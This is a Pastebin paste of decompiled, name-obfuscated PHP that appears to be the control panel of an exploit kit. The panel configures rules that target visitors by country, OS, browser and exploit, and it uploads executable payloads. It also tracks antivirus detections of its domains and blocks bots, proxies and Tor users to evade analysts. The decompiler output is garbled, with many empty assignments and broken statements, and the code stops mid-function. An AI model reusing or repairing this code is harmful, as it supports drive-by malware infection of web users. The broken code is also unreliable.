Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by DeZend.Org
- * @ DeZend (PHP5 Decoder for ionCube Encoder)
- *
- * @ Version : 1.1.7.0
- * @ Author : TuhanTS
- * @ Release on : 25.02.2013
- * @ Official site : http://DeZend.Org
- *
- */
- function [obfuscated]($cbcbfgbbii, $bfdchdbag) {
- $dgjafjhgbe = array( '\'', '"', '<', '>', '?' );
- $bfdchdbag = ;
- deahcjafcj( $dgjafjhgbe, '', $cbcbfgbbii );
- $cbcbfgbbii = deahcjafcj( $dgjafjhgbe, '', $bfdchdbag );
- Config::write( $cbcbfgbbii, $bfdchdbag );
- }
- if (chbhdajcge( './blocked' )) {
- echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">Заблокировано из-за превышения суточного трафика. Обратитесь к администрации.<br/>Blocked due to exceeding the daily traffic. Contact the administration.';
- exit( );
- }
- if (chbhdajcge( './baned' )) {
- echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">Заблокировано из-за окончания срока. Обратитесь к администрации.<br/>Your account ended. Contact the administration.';
- exit( );
- }
- efahchecg( E_ERROR );
- ccdicfhfbc( 'display_errors', 0 );
- dhhgjcbeeb( );
- cbbdcjhahc( 'ROOT', './' );
- cbbdcjhahc( 'AdminScript', beiicjjcdf( ddedjdfaei( $_SERVER['SCRIPT_NAME'] ) ) );
- include_once( ROOT . 'config.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/template.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/logs.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/db.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/browser.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/files.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/threads.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/js.php' );
- include_once( ROOT . Config::get( 'LibDir' ) . '/lang.php' );
- if (Config::get( 'StatFileName' ) . '.php' == AdminScript) {
- cbbdcjhahc( 'GUEST', 1 );
- }
- else {
- cbbdcjhahc( 'GUEST', 0 );
- }
- $a = (isset( $_GET['a'] ) ? $_GET['a'] : '');
- if ($a == '') {
- $threadID = (isset( $_GET['ThreadID'] ) ? diaadjcgca( JS::unpack( $_GET['ThreadID'] ) ) : null);
- $ruleID = (isset( $_GET['RuleID'] ) ? diaadjcgca( JS::unpack( $_GET['RuleID'] ) ) : null);
- if (( isset( $_GET['data'] ) && $_GET['data'] == bcahiabhha( 'gewvewvewvwev' . $threadID . $ruleID . Config::get( 'AdminPass' ) . 'asdasdasd' ) )) {
- $_SESSION['tmp_auth'] = 1;
- }
- else {
- unset( $_SESSION[tmp_auth] );
- }
- }
- if (( GUEST && !djgejchach( $a, array( '', 'img', 'css', 'js', 'reloadBlock' ) ) )) {
- exit( );
- }
- if (( GUEST && !isset( $_SESSION['tmp_auth'] ) )) {
- exit( );
- }
- if ($a == 'captcha') {
- include( Config::get( 'LibDir' ) . '/kcaptcha/index.php' );
- exit( );
- }
- if (( isset( $_POST['Action'] ) && $_POST['Action'] == 'Login' )) {
- if (bcahiabhha( $_POST['Password'] ) == Config::get( 'AdminPass' )) {
- if (( Config::get( 'NoCaptcha', 0 ) || ( !Config::get( 'NoCaptcha', 0 ) && ( isset( $_SESSION['captcha_keystring'] ) && $_SESSION['captcha_keystring'] === $_POST['Captcha'] ) ) )) {
- $_SESSION['auth'] = 1;
- Lang::setcurlang( ($_POST['Language'] == 'ru' ? 'ru' : 'en') );
- eahcdihghj( 'Location: ' . AdminScript );
- exit( );
- }
- }
- }
- if (( !GUEST && !isset( $_SESSION['auth'] ) )) {
- Template::show( 'auth' );
- exit( );
- }
- db::create( Config::get( 'MysqlHost' ), Config::get( 'MysqlUsername' ), Config::get( 'MysqlPassword' ), Config::get( 'MysqlDatabase' ) );
- if ($a == '') {
- Template::show( 'main_stat' );
- }
- else {
- if ($a == 'files') {
- Template::show( 'files' );
- }
- else {
- if ($a == 'settings') {
- Template::show( 'settings' );
- }
- else {
- if ($a == 'security') {
- Template::show( 'security' );
- }
- else {
- if ($a == 'reloadBlock') {
- $_SESSION['sDate'] = ($_GET['sDate'] == 'null' ? null : diaadjcgca( $_GET['sDate'] ));
- $_SESSION['eDate'] = ($_GET['eDate'] == 'null' ? null : diaadjcgca( $_GET['eDate'] ));
- $_SESSION['threadID'] = ($_GET['threadID'] == 'null' ? null : diaadjcgca( $_GET['threadID'] ));
- $_SESSION['ruleID'] = ($_GET['ruleID'] == 'null' ? null : diaadjcgca( $_GET['ruleID'] ));
- if (isset( $_GET['block'] )) {
- $_GET['block'];
- $b = ;
- if (isset( $_GET['count'] )) {
- [obfuscated]( $b . 'Limit', diaadjcgca( $_GET['count'] ) );
- }
- if (isset( $_GET['resort'] )) {
- $name = $b . 'Sort';
- $_GET['resort'];
- $f = ;
- $old = (isset( $_COOKIE[$name] ) ? $_COOKIE[$name] : 'Percent desc');
- bhgfbedigj( ' ', $old )[1];
- $v = ;
- [0];
- $n = ;
- if ($n == $f) {
- if ($v == 'desc') {
- $v = 'asc';
- }
- else {
- $v = 'desc';
- }
- }
- else {
- $f;
- $n = ;
- $v = 'desc';
- }
- dbiaghegdg( $name, $n . ' ' . $v, cjfacgeadg( ) + 3600 * 24 * 365 );
- $_COOKIE[$name] = $n . ' ' . $v;
- }
- if (isset( $_GET['full'] )) {
- $name = $b . 'Full';
- dabagcadja( $_GET['full'] );
- $f = ;
- $old = (isset( $_COOKIE[$name] ) ? $_COOKIE[$name] : '');
- Threads::filter( bhgfbedigj( ';;', $old ) );
- $old = ;
- if (djgejchach( $f, $old )) {
- foreach ($old as ) {
- [0];
- [1];
- $v = ;
- $n = ;
- if ($v == $f) {
- unset( $old[$n] );
- break;
- }
- }
- }
- else {
- $old[] = $f;
- }
- bdddhdefdg( ';;', $old );
- $new = ;
- dbiaghegdg( $name, $new, cjfacgeadg( ) + 3600 * 24 * 365 );
- $_COOKIE[$name] = $new;
- }
- if (( isset( $_GET['type'] ) && $_GET['type'] == 'blocked' )) {
- Template::show( $b . '_bstat' );
- }
- else {
- Template::show( $b . '_stat' );
- }
- }
- else {
- if (isset( $_GET['blocks'] )) {
- $_GET['blocks'];
- $b = ;
- bhgfbedigj( ',', $b );
- $s = ;
- $ss = array( );
- foreach ($s as ) {
- [0];
- $q = ;
- dfcfgabgcj( );
- Template::show( $q . '_stat' );
- bfegieejch( );
- $qq = ;
- chcjgheihe( );
- $ss[] = $qq;
- }
- echo bdddhdefdg( ':::', $ss );
- }
- }
- }
- else {
- if ($a == 'domainEdit') {
- Template::show( 'domainEdit' );
- }
- else {
- if ($a == 'blocked') {
- Template::show( 'blocked_stat' );
- }
- else {
- if ($a == 'fileEdit') {
- Template::show( 'fileEdit' );
- }
- else {
- if ($a == 'threads') {
- Template::show( 'threads' );
- }
- else {
- if ($a == 'threadEdit') {
- Template::show( 'threadEdit' );
- }
- else {
- if ($a == 'ruleAdd') {
- Template::show( 'ruleAdd' );
- }
- else {
- if ($a == 'ruleEdit') {
- Template::show( 'ruleEdit' );
- }
- else {
- if ($a == 'blockConfig') {
- Template::show( 'block_config' );
- }
- else {
- if ($a == 'domains') {
- Template::show( 'domains' );
- }
- else {
- if ($a == 'versions') {
- Template::show( 'versions' );
- }
- else {
- if ($a == 'img') {
- $_GET['img'];
- $img = ;
- deahcjafcj( array( '..', '/' ), '', $img );
- $img = ;
- $seconds_to_cache = 3600 * 24 * 365 * 10;
- $ts = bjhbefadec( 'D, d M Y H:i:s', cjfacgeadg( ) + $seconds_to_cache ) . ' GMT';
- eahcdihghj( '' . 'Expires: ' . $ts );
- eahcdihghj( 'Pragma: cache' );
- eahcdihghj( '' . 'Cache-Control: max-age=' . $seconds_to_cache );
- fddeggjd( $img, PATHINFO_EXTENSION );
- $ext = ;
- eahcdihghj( 'Content-type: image/' . $ext );
- eahcdihghj( 'Content-Encoding: gzip' );
- cfhcaeigbc( Config::get( 'LibDir' ) . '/templates/img/' . $img );
- $c = ;
- echo ebghfaibcg( $c );
- exit( );
- }
- else {
- if ($a == 'css') {
- $seconds_to_cache = 3600 * 24 * 365 * 10;
- $ts = bjhbefadec( 'D, d M Y H:i:s', cjfacgeadg( ) + $seconds_to_cache ) . ' GMT';
- eahcdihghj( '' . 'Expires: ' . $ts );
- eahcdihghj( 'Pragma: cache' );
- eahcdihghj( '' . 'Cache-Control: max-age=' . $seconds_to_cache );
- eahcdihghj( 'Content-type: text/css' );
- eahcdihghj( 'Content-Encoding: gzip' );
- cfhcaeigbc( Config::get( 'LibDir' ) . '/templates/css/main.css' );
- $c = ;
- echo ebghfaibcg( deahcjafcj( '%%', AdminScript, $c ) );
- exit( );
- }
- else {
- if ($a == 'js') {
- $seconds_to_cache = 3600 * 24 * 365 * 10;
- $ts = bjhbefadec( 'D, d M Y H:i:s', cjfacgeadg( ) + $seconds_to_cache ) . ' GMT';
- eahcdihghj( '' . 'Expires: ' . $ts );
- eahcdihghj( 'Pragma: cache' );
- eahcdihghj( '' . 'Cache-Control: max-age=' . $seconds_to_cache );
- eahcdihghj( 'Content-Encoding: gzip' );
- eahcdihghj( 'Content-type: text/javascript' );
- $_GET['file'];
- $file = ;
- deahcjafcj( array( '..', '/' ), '', $file );
- $file = ;
- cfhcaeigbc( Config::get( 'LibDir' ) . '/templates/js/' . $file . '.js' );
- $c = ;
- deahcjafcj( '%%', AdminScript, $c );
- $c = ;
- dgdajjdbaa( '/%Lang.([^%]+)%/', $c, $arr );
- foreach ($arr[1] as ) {
- [0];
- $a = ;
- deahcjafcj( '%Lang.' . $a . '%', Lang::get( $a ), $c );
- $c = ;
- }
- echo ebghfaibcg( $c );
- exit( );
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- if ($a == 'logout') {
- unset( $_SESSION[auth] );
- eahcdihghj( 'Location: ' . AdminScript . '' );
- exit( );
- return 1;
- }
- if ($a == 'domainAdd') {
- $id = (isset( $_GET['id'] ) ? diaadjcgca( $_GET['id'] ) : 0);
- $arr = array( 'Domain' => dabagcadja( $_POST['Domain'] ), 'Status' => diaadjcgca( $_POST['Status'] ) );
- if ($id == 0) {
- bhgfbedigj( ' ', $_POST['Domain'] );
- $d = ;
- foreach ($d as ) {
- [0];
- $q = ;
- baafbabacf( $q );
- $q = ;
- if ($q == '') {
- continue;
- }
- $arr['Domain'] = $q;
- db::insert( $arr, 'Domains' );
- }
- }
- else {
- db::update( $id, $arr, 'Domains' );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=domains' );
- exit( );
- return 1;
- }
- if ($a == 'fileUpload') {
- $_POST['Title'];
- $title = ;
- if (!isset( $_POST['FileUrl'] )) {
- $_POST['FileUrl'] = '';
- }
- if (( isset( $_FILES['File'] ) && $_FILES['File']['tmp_name'] != '' )) {
- cfhcaeigbc( $_FILES['File']['tmp_name'] );
- $content = ;
- if ($title == '') {
- beafebcjaf( $_FILES['File']['name'], 0, ebjhdiggah( $_FILES['File']['name'], '.' ) );
- $title = ;
- }
- }
- else {
- if (( isset( $_POST['FileUrl'] ) && $_POST['FileUrl'] != '' )) {
- @cfhcaeigbc( $_POST['FileUrl'] );
- $content = ;
- if ($content === false) {
- $content = '';
- }
- if ($title == '') {
- $start = ebjhdiggah( $_POST['FileUrl'], '/' ) + 1;
- beafebcjaf( $_POST['FileUrl'], $start, ebjhdiggah( $_POST['FileUrl'], '.' ) - $start );
- $title = ;
- }
- }
- else {
- $content = '';
- }
- }
- $fileID = (isset( $_GET['id'] ) ? diaadjcgca( $_GET['id'] ) : 0);
- if (( $fileID == 0 && fgacdfafb( 'mime_content_type' ) )) {
- $tmpname = Config::get( 'FilesDir' ) . '/test';
- eejeehcch( $tmpname, $content );
- daefebifii( $tmpname );
- $mime = ;
- cjjjjdejhg( $tmpname );
- if (( $mime != 'application/octet-stream' && $mime != 'application/x-dosexec' )) {
- echo '0';
- exit( );
- }
- }
- if ($title == '') {
- beafebcjaf( bcahiabhha( cjfacgeadg( ) ), 0, 10 );
- $title = ;
- }
- Files::upload( $title, $_POST['Comment'], $_POST['FileUrl'], (isset( $_POST['IsDLL'] ) ? 1 : 0), $content, $fileID, (isset( $_POST['ResetLoads'] ) ? 1 : 0), diaadjcgca( $_POST['UpdateInterval'] ), diaadjcgca( $_POST['CheckInterval'] ) );
- echo '1';
- exit( );
- return 1;
- }
- if ($a == 'domainDelete') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- db::deletebyid( $id, 'Domains' );
- eahcdihghj( 'Location: ' . AdminScript . '?a=domains' );
- exit( );
- return 1;
- }
- if ($a == 'fileDelete') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- Files::delete( $id );
- eahcdihghj( 'Location: ' . AdminScript . '?a=files' );
- exit( );
- return 1;
- }
- if ($a == 'fileCheck') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- Files::check( $id );
- $res = ;
- if ($res != false) {
- eahcdihghj( 'Location: ' . AdminScript . '?a=files&checkResult=' . diaadjcgca( $_GET['id'] ) );
- }
- else {
- eahcdihghj( 'Location: ' . AdminScript . '?a=files&checkError' );
- }
- exit( );
- return 1;
- }
- if ($a == 'threadSave') {
- $threadID = (isset( $_GET['id'] ) ? diaadjcgca( $_GET['id'] ) : 0);
- Threads::save( $threadID, $_POST['Title'], $_POST['Filename'], $_POST['Redirect'] );
- $newThreadID = ;
- eahcdihghj( 'Location: ' . AdminScript . '?a=threads' . ($threadID == 0 ? '&newThread=' . $newThreadID : '') );
- exit( );
- return 1;
- }
- if ($a == 'threadDelete') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- Threads::delete( $id );
- eahcdihghj( 'Location: ' . AdminScript . '?a=threads' );
- exit( );
- return 1;
- }
- if ($a == 'ruleSave') {
- $ruleID = (isset( $_GET['id'] ) ? diaadjcgca( $_GET['id'] ) : 0);
- diaadjcgca( $_GET['threadID'] );
- $threadID = ;
- if (!isset( $_POST['TrafficType'] )) {
- $_POST['TrafficType'] = 1;
- }
- $redirects = array( );
- if (isset( $_POST['Redirects'] )) {
- foreach ($_POST['Redirects'] as ) {
- [0];
- [1];
- $title = ;
- $i = ;
- diaadjcgca( $_POST['RedirectLimit'][$i] );
- $limit = ;
- if ($limit == 0) {
- $limit = 0 - 1;
- }
- $redirects[$title] = $limit;
- }
- }
- Threads::saverule( $ruleID, $threadID, (isset( $_POST['Countries'] ) ? $_POST['Countries'] : array( )), (isset( $_POST['Oses'] ) ? $_POST['Oses'] : array( )), (isset( $_POST['Browsers'] ) ? $_POST['Browsers'] : array( )), (isset( $_POST['Exploits'] ) ? $_POST['Exploits'] : array( )), (isset( $_POST['Files'] ) ? $_POST['Files'] : array( )), $redirects, diaadjcgca( $_POST['RuleType'] ), diaadjcgca( $_POST['TrafficType'] ), $_POST['Dummy'], (isset( $_POST['DisableOnAV'] ) ? 1 : 0) );
- eahcdihghj( 'Location: ' . AdminScript . '?a=threads' );
- exit( );
- return 1;
- }
- if ($a == 'ruleDelete') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- Threads::deleterule( $id );
- eahcdihghj( 'Location: ' . AdminScript . '?a=threads' );
- exit( );
- return 1;
- }
- if ($a == 'rulesSort') {
- Threads::sortrules( diaadjcgca( $_GET['threadID'] ), bhgfbedigj( ',', $_GET['order'] ) );
- exit( );
- return 1;
- }
- if ($a == 'saveInterval') {
- diaadjcgca( $_GET['interval'] );
- $i = ;
- [obfuscated]( 'AutoreloadInterval', $i );
- exit( );
- return 1;
- }
- if ($a == 'threadFilename') {
- echo Threads::getfilename( );
- exit( );
- return 1;
- }
- if ($a == 'getAPI') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- bcahiabhha( 'wqggewhewhewhweh' . $id );
- $pass = ;
- $_SERVER['SERVER_PORT'];
- $port = ;
- if ($port == 80) {
- $port = '';
- }
- else {
- $port = ':' . $port;
- }
- $f = 'http://' . $_SERVER['HTTP_HOST'] . $port . deahcjafcj( AdminScript, 'api.php', $_SERVER['PHP_SELF'] );
- $f .= '?id=' . JS::pack( '' . $id ) . '&pass=' . $pass;
- echo $f;
- exit( );
- return 1;
- }
- if ($a == 'domainsCheck') {
- if (isset( $_GET['id'] )) {
- db::select( 'select * from Domains where ID = ' . diaadjcgca( $_GET['id'] ) );
- $domains = ;
- }
- else {
- db::select( 'select * from Domains' );
- $domains = ;
- }
- foreach ($domains as ) {
- [0];
- $f = ;
- Files::checkdomain( $f );
- }
- db::query( 'update Domains set Status = 2 where AVCount >= ' . Config::get( 'DomainDisableCount' ) );
- eahcdihghj( 'Location: ' . AdminScript . '?a=domains' );
- exit( );
- return 1;
- }
- if ($a == 'rulePlayPause') {
- diaadjcgca( $_GET['id'] );
- $id = ;
- diaadjcgca( $_GET['threadID'] );
- $threadID = ;
- Threads::ruleplaypause( $threadID, $id );
- eahcdihghj( 'Location: ' . AdminScript . '?a=threads' );
- exit( );
- return 1;
- }
- if ($a == 'geoipUpdate') {
- $url = 'http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz';
- @cfhcaeigbc( $url );
- $gzip = ;
- if (!$gzip) {
- exit( );
- }
- $stringu = ROOT . Config::get( 'FilesDir' ) . '/tmp.gz';
- eejeehcch( $stringu, $gzip );
- beafebcjaf( $gzip, 0 - 4 );
- $rest = ;
- cahgcdbejd( ehiaibjfa( 'V', $rest ) );
- $GZFileSize = ;
- $stringu;
- $FileRead = ;
- cgbghghaae( $FileRead, 'rb' );
- $HandleRead = ;
- dcdbbhgege( $HandleRead, $GZFileSize );
- $ContentRead = ;
- eahaeagg( $HandleRead );
- if (1000 < bicdjbgi( $ContentRead )) {
- eejeehcch( Config::get( 'LibDir' ) . '/data.dat', $ContentRead );
- [obfuscated]( 'GeoIPUpdate', cjfacgeadg( ) );
- }
- exit( );
- return 1;
- }
- if ($a == 'botBlock') {
- [obfuscated]( 'blockBot', (isset( $_POST['blockBot'] ) ? 1 : 0) );
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'allBlock') {
- if (isset( $_POST['reset'] )) {
- db::query( 'truncate table BlockAll' );
- }
- else {
- [obfuscated]( 'blockAll', (isset( $_POST['blockAll'] ) ? 1 : 0) );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'antiProxy') {
- if (isset( $_POST['reset'] )) {
- db::query( 'truncate table ProxyBlock' );
- }
- else {
- [obfuscated]( 'antiProxy', (isset( $_POST['antiProxy'] ) ? 1 : 0) );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'antiBot') {
- if (isset( $_POST['reset'] )) {
- db::query( 'truncate table BotBlock' );
- }
- else {
- [obfuscated]( 'antiBot', (isset( $_POST['antiBot'] ) ? 1 : 0) );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'torBlock') {
- if (isset( $_POST['update'] )) {
- @cfhcaeigbc( 'http://www.dan.me.uk/torlist/' );
- $list = ;
- if (!$list) {
- }
- else {
- deahcjafcj( '
- ', '', $list );
- $list = ;
- bhgfbedigj( '
- ', $list );
- $list = ;
- db::query( 'truncate table se_tor' );
- foreach ($list as ) {
- [0];
- $l = ;
- ieihdijii( $l );
- $ip = ;
- @caddegebjg( 'insert into se_tor (IP) values (' . $ip . ')' );
- }
- [obfuscated]( 'TorUpdate', cjfacgeadg( ) );
- }
- }
- else {
- [obfuscated]( 'blockTor', (isset( $_POST['blockTor'] ) ? 1 : 0) );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'referersBlock') {
- [obfuscated]( 'blockReferer', (isset( $_POST['blockReferer'] ) ? 1 : 0) );
- [obfuscated]( 'ReferersBlockType', diaadjcgca( $_POST['ReferersBlockType'] ) );
- db::query( 'truncate table ReferersBlock' );
- $_POST['ReferersBlock'];
- $s = ;
- bhgfbedigj( ':', $s );
- $s = ;
- foreach ($s as ) {
- [0];
- $a = ;
- if ($a == '') {
- continue;
- }
- deahcjafcj( 'http://', '', $a );
- $a = ;
- db::insert( array( 'Referer' => $a ), 'ReferersBlock' );
- }
- eahcdihghj( 'Location: ' . AdminScript . '?a=security' );
- exit( );
- return 1;
- }
- if ($a == 'settingsSave') {
- if (( !isset( $_GET['name'] ) || !isset( $_GET['val'] ) )) {
- exit( );
- }
- $_GET['name'];
- $name = ;
- $_GET['val'];
- $val = ;
- if ($name == 'DefaultLanguage') {
- Lang::setcurlang( $val );
- }
- if ($name == 'AdminScript') {
- deahcjafcj( array( '/', '\', '..', '.' ), '', $val );
- $val = ;
- [obfuscated]( 'MainFile', $val );
- dcicfffcda( AdminScript, $val . '.php' );
- eejeehcch( Config::get( 'StatFileName' ) . '.php', '<?php include(\'' . $val . '.php\');' );
- }
- else {
- if ($name == 'AdminPass') {
- if (bcahiabhha( $val ) != Config::get( 'AdminPass' )) {
- echo '<img src="' . AdminScript . '?a=img&img=err.png"/> ' . Lang::get( 'WrongOld' );
- exit( );
- }
- $_GET['new'];
- $pass = ;
- $_GET['new2'];
- $pass2 = ;
- if (( $pass == '' || $pass != $pass2 )) {
- echo '<img src="' . AdminScript . '?a=img&img=err.png"/> ' . Lang::get( 'WrongDouble' );
- exit( );
- }
- [obfuscated]( $name, bcahiabhha( $pass ) );
- echo '<img src="' . AdminScript . '?a=img&img=accept.png"/> ' . Lang::get( 'Saved' );
- }
- else {
- if ($name == 'WriteReferers') {
- [obfuscated]( 'WriteReferers', diaadjcgca( $_GET['WriteReferers'] ) );
- eahcdihghj( 'Location: ' . AdminScript . '?a=settings' );
- exit( );
- }
- else {
- if ($name == 'scanService') {
- [obfuscated]( $name, $val );
- [obfuscated]( 'scanLogin', $_GET['login'] );
- [obfuscated]( 'scanPassword', $_GET['pass'] );
- }
- else {
- if ($name == 'deleteAll') {
- babachfjba( caddegebjg( 'select ifnull(sum(Hits),0)+(select count(*) from TMPLogs) as cnt from Logs where DataType=6' ) );
- $r = ;
- $r['cnt'];
- $s = ;
- if (!chbhdajcge( ROOT . 'tr_count.dat' )) {
- $s2 = 2930;
- }
- &
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement